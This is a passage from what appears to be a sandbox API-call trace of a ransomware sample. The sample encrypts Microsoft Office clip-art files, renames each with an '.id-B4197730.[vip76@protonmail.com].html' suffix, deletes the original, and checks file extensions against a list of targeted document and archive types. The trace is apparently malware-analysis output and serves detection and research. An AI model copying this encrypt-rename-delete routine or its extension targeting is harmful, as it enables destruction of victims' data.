	[0194.486] ReadFile (in: hFile=0x5e0, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x1204, lpOverlapped=0x0) returned 1
	[0194.488] WriteFile (in: hFile=0x5d0, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x1210, lpOverlapped=0x0) returned 1
	[0194.490] ReadFile (in: hFile=0x5e0, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.490] WriteFile (in: hFile=0x5d0, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0194.490] SetEndOfFile (hFile=0x5d0) returned 1
	[0194.490] CloseHandle (hObject=0x5d0) returned 1
	[0194.490] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.490] SetEndOfFile (hFile=0x5e0) returned 1
	[0194.493] CloseHandle (hObject=0x5e0) returned 1
	[0194.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.494] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf")) returned 1
	[0194.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0194.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0194.495] lstrlenW (lpString=".doc") returned 4
	[0194.495] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0194.495] lstrlenW (lpString=".docx") returned 5
	[0194.495] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0194.495] lstrlenW (lpString=".pdf") returned 4
	[0194.495] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0194.495] lstrlenW (lpString=".xls") returned 4
	[0194.495] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0194.495] lstrlenW (lpString=".xlsx") returned 5
	[0194.495] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0194.495] lstrlenW (lpString=".ppt") returned 4
	[0194.495] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0194.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0194.495] lstrlenW (lpString=".zip") returned 4
	[0194.495] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0194.495] lstrlenW (lpString=".rar") returned 4
	[0194.495] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0194.495] lstrlenW (lpString=".bz2") returned 4
	[0194.496] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0194.496] lstrlenW (lpString=".7z") returned 3
	[0194.496] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0194.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0194.496] lstrlenW (lpString=".dbf") returned 4
	[0194.496] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0194.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0194.496] lstrlenW (lpString=".1cd") returned 4
	[0194.496] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0194.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0194.496] lstrlenW (lpString=".jpg") returned 4
	[0194.496] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0194.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0194.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0194.496] lstrlenW (lpString=".doc") returned 4
	[0194.496] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0194.496] lstrlenW (lpString=".docx") returned 5
	[0194.496] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0194.496] lstrlenW (lpString=".pdf") returned 4
	[0194.496] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0194.496] lstrlenW (lpString=".xls") returned 4
	[0194.496] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0194.496] lstrlenW (lpString=".xlsx") returned 5
	[0194.496] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0194.496] lstrlenW (lpString=".ppt") returned 4
	[0194.496] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0194.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0194.496] lstrlenW (lpString=".zip") returned 4
	[0194.497] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0194.497] lstrlenW (lpString=".rar") returned 4
	[0194.497] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0194.497] lstrlenW (lpString=".bz2") returned 4
	[0194.497] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0194.497] lstrlenW (lpString=".7z") returned 3
	[0194.497] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0194.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0194.497] lstrlenW (lpString=".dbf") returned 4
	[0194.497] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0194.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0194.497] lstrlenW (lpString=".1cd") returned 4
	[0194.497] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0194.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0194.497] lstrlenW (lpString=".jpg") returned 4
	[0194.497] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0194.497] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0194.497] lstrlenW (lpString="J0106816.WMF") returned 12
	[0194.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0194.498] GetFileSizeEx (in: hFile=0x5e0, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=3332) returned 1
	[0194.498] CloseHandle (hObject=0x5e0) returned 1
	[0194.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf")) returned 0x220
	[0194.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0194.499] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.499] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0194.500] GetLastError () returned 0x0
	[0194.500] ReadFile (in: hFile=0x5e0, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0xd04, lpOverlapped=0x0) returned 1
	[0194.502] WriteFile (in: hFile=0x5d0, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xd10, lpOverlapped=0x0) returned 1
	[0194.503] ReadFile (in: hFile=0x5e0, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.503] WriteFile (in: hFile=0x5d0, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0194.503] SetEndOfFile (hFile=0x5d0) returned 1
	[0194.503] CloseHandle (hObject=0x5d0) returned 1
	[0194.503] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.503] SetEndOfFile (hFile=0x5e0) returned 1
	[0194.511] CloseHandle (hObject=0x5e0) returned 1
	[0194.511] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.511] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf")) returned 1
	[0194.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0194.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0194.512] lstrlenW (lpString=".doc") returned 4
	[0194.512] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0194.512] lstrlenW (lpString=".docx") returned 5
	[0194.512] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0194.512] lstrlenW (lpString=".pdf") returned 4
	[0194.513] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0194.513] lstrlenW (lpString=".xls") returned 4
	[0194.513] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0194.513] lstrlenW (lpString=".xlsx") returned 5
	[0194.513] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0194.513] lstrlenW (lpString=".ppt") returned 4
	[0194.513] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0194.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0194.513] lstrlenW (lpString=".zip") returned 4
	[0194.513] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0194.513] lstrlenW (lpString=".rar") returned 4
	[0194.513] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0194.513] lstrlenW (lpString=".bz2") returned 4
	[0194.513] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0194.513] lstrlenW (lpString=".7z") returned 3
	[0194.513] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0194.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0194.513] lstrlenW (lpString=".dbf") returned 4
	[0194.513] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0194.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0194.513] lstrlenW (lpString=".1cd") returned 4
	[0194.513] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0194.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0194.513] lstrlenW (lpString=".jpg") returned 4
	[0194.513] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0194.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0194.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0194.513] lstrlenW (lpString=".doc") returned 4
	[0194.513] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0194.514] lstrlenW (lpString=".docx") returned 5
	[0194.514] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0194.514] lstrlenW (lpString=".pdf") returned 4
	[0194.514] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0194.514] lstrlenW (lpString=".xls") returned 4
	[0194.514] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0194.514] lstrlenW (lpString=".xlsx") returned 5
	[0194.514] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0194.514] lstrlenW (lpString=".ppt") returned 4
	[0194.514] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0194.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0194.514] lstrlenW (lpString=".zip") returned 4
	[0194.514] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0194.514] lstrlenW (lpString=".rar") returned 4
	[0194.514] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0194.514] lstrlenW (lpString=".bz2") returned 4
	[0194.514] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0194.514] lstrlenW (lpString=".7z") returned 3
	[0194.514] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0194.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0194.514] lstrlenW (lpString=".dbf") returned 4
	[0194.514] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0194.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0194.514] lstrlenW (lpString=".1cd") returned 4
	[0194.514] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0194.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0194.515] lstrlenW (lpString=".jpg") returned 4
	[0194.515] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0194.515] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0194.515] lstrlenW (lpString="J0106958.WMF") returned 12
	[0194.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0194.516] GetFileSizeEx (in: hFile=0x5e0, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=13784) returned 1
	[0194.516] CloseHandle (hObject=0x5e0) returned 1
	[0194.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf")) returned 0x220
	[0194.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0194.516] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.517] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0194.520] GetLastError () returned 0x0
	[0194.520] ReadFile (in: hFile=0x5e0, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x35d8, lpOverlapped=0x0) returned 1
	[0194.523] WriteFile (in: hFile=0x5d0, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x35e0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x35e0, lpOverlapped=0x0) returned 1
	[0194.525] ReadFile (in: hFile=0x5e0, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.525] WriteFile (in: hFile=0x5d0, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0194.525] SetEndOfFile (hFile=0x5d0) returned 1
	[0194.525] CloseHandle (hObject=0x5d0) returned 1
	[0194.525] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.525] SetEndOfFile (hFile=0x5e0) returned 1
	[0194.944] CloseHandle (hObject=0x5e0) returned 1
	[0194.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0195.182] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf")) returned 1
	[0195.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0195.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0195.412] lstrlenW (lpString=".doc") returned 4
	[0195.412] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0195.412] lstrlenW (lpString=".docx") returned 5
	[0195.412] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0195.412] lstrlenW (lpString=".pdf") returned 4
	[0195.412] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0195.412] lstrlenW (lpString=".xls") returned 4
	[0195.412] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0195.412] lstrlenW (lpString=".xlsx") returned 5
	[0195.412] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0195.412] lstrlenW (lpString=".ppt") returned 4
	[0195.412] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0195.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0195.412] lstrlenW (lpString=".zip") returned 4
	[0195.412] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0195.412] lstrlenW (lpString=".rar") returned 4
	[0195.412] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0195.413] lstrlenW (lpString=".bz2") returned 4
	[0195.413] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0195.413] lstrlenW (lpString=".7z") returned 3
	[0195.413] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0195.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0195.413] lstrlenW (lpString=".dbf") returned 4
	[0195.413] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0195.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0195.413] lstrlenW (lpString=".1cd") returned 4
	[0195.413] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0195.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0195.413] lstrlenW (lpString=".jpg") returned 4
	[0195.413] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0195.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0195.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0195.413] lstrlenW (lpString=".doc") returned 4
	[0195.413] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0195.413] lstrlenW (lpString=".docx") returned 5
	[0195.413] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0195.413] lstrlenW (lpString=".pdf") returned 4
	[0195.413] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0195.413] lstrlenW (lpString=".xls") returned 4
	[0195.413] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0195.413] lstrlenW (lpString=".xlsx") returned 5
	[0195.413] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0195.413] lstrlenW (lpString=".ppt") returned 4
	[0195.413] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0195.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0195.414] lstrlenW (lpString=".zip") returned 4
	[0195.414] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0195.414] lstrlenW (lpString=".rar") returned 4
	[0195.414] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0195.414] lstrlenW (lpString=".bz2") returned 4
	[0195.414] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0195.414] lstrlenW (lpString=".7z") returned 3
	[0195.414] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0195.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0195.414] lstrlenW (lpString=".dbf") returned 4
	[0195.414] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0195.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0195.414] lstrlenW (lpString=".1cd") returned 4
	[0195.414] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0195.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0195.414] lstrlenW (lpString=".jpg") returned 4
	[0195.414] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0195.414] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0195.414] lstrlenW (lpString="J0107138.WMF") returned 12
	[0195.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0195.573] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=17200) returned 1
	[0195.573] CloseHandle (hObject=0x514) returned 1
	[0195.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf")) returned 0x220
	[0195.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0195.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0195.592] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.592] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0195.593] GetLastError () returned 0x0
